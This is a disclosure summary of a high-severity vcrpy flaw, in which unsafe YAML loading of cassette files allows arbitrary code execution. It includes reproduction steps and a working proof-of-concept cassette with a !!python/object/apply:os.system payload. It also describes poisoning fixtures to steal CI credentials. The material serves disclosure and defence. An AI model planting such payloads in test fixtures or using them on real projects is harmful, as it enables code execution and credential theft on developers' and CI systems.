# VCR.py: Arbitrary code execution via unsafe YAML deserialization of cassette files

vcrpy loads YAML cassettes with PyYAML's unsafe Loader, so a cassette containing a !!python/object/apply tag executes arbitrary code on load.

- Payout: Research
- Severity: high
- Program: vcrpy
- Found by: RamiAltai, EQSTLab
- Disclosed: 2026-06-19
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rpj2-4hq8-938g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rpj2-4hq8-938g
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:deserialization vuln:rce

**Target:** YAML cassette serializer (vcr/serializers/yamlserializer.py) and migration tool
**Root cause:** deserialize() calls yaml.load with CLoader/Loader (full object constructors) instead of SafeLoader, so Python object tags in cassette YAML are instantiated. Same sink in migration.py's yaml.load after preprocess_yaml only strips three legacy tags.
**Steps:**
1. Write a valid cassette with an extra top-level key carrying the payload: `_x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE']`
2. Load it via `with vcr.use_cassette("evil.yaml"):`
3. Payload fires during deserialization, before any HTTP replay; `/tmp/VCRPY_YAML_RCE` is created
4. Alternatively run the migration tool on a .yaml file to hit the second yaml.load sink
**How found:** Code review of the YAML serializer: noticed yaml.load used with CLoader/Loader rather than SafeLoader, then verified that CLoader still uses PyYAML's full Python constructor so object tags execute even with libYAML present; confirmed on vcrpy 8.1.1 + PyYAML 6.0.3.
**Exploitation:** Attacker supplies a cassette file (malicious PR, poisoned fixture repo/artifact store, or social-engineered 'updated fixtures'). When the victim's test suite or CI loads it, arbitrary Python callables execute with the process's privileges, exposing CI deployment credentials, cloud IAM roles, registry tokens and source access.
**Insight:** Don't assume CLoader is safe because it's the C parser — it only swaps the parser, not the constructor; grep for yaml.load(..., Loader=Loader) patterns and check secondary sinks like migration/preprocessing helpers that only strip known tags.

## Proof of concept (copied exactly from the original report)

**Malicious cassette with python/object/apply RCE payload**

```
open("evil.yaml", "w").write("""interactions:
- request:
    body: null
    headers: {Accept: ['*/*']}
    method: GET
    uri: http://example.com/
  response:
    body: {string: ok}
    headers: {Content-Type: ['text/plain']}
    status: {code: 200, message: OK}
_x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE']
version: 1
""")
```

**use_cassette call triggering payload execution**

```
with vcr.use_cassette("evil.yaml"):      # <-- /tmp/VCRPY_YAML_RCE created here
    requests.get("http://example.com/")
```

